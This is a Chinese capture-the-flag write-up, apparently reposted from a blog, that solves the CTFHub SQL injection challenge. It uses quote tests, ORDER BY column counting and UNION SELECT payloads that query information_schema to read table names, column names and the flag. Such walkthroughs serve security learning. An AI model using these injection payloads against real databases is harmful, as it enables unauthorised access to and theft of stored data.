您的位置:首页 > 汽车 > 时评 > ctfhub-sql注入-injection-解题思路

ctfhub-sql注入-injection-解题思路

2024/9/16 3:44:29 来源:https://blog.csdn.net/chinese_cabbage0/article/details/140844015  浏览:    关键词:ctfhub-sql注入-injection-解题思路

1.打开题目,判断是数字型注入还是字符型注入

       1.输入1’   //无回显

                1‘  --+ //也是没有回显

               1”    //无回显

                1“--=  //无回显

都没有回显,所以判断为数字型注入

2.使用命令进行判断列数

        1 order by 1  //有回显

        1 order by 2  //有回显

        1 order by 3  //无回显

       说明了回显有两列,

3.判断回显的位置

        1 union select 1,2  //发现2有回显位

4.通过回显位进行注入

        1 union select 1,database()  //查看到了数据库为ctfhub

        通过数据库名字进行查询表名

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfhub'   //查看到了表名为flag,info

通过表名查列名:

1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'  //查看列名为flag

通过列名查字段

1 union select 1,flag from ctfhub.flag  //查看flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com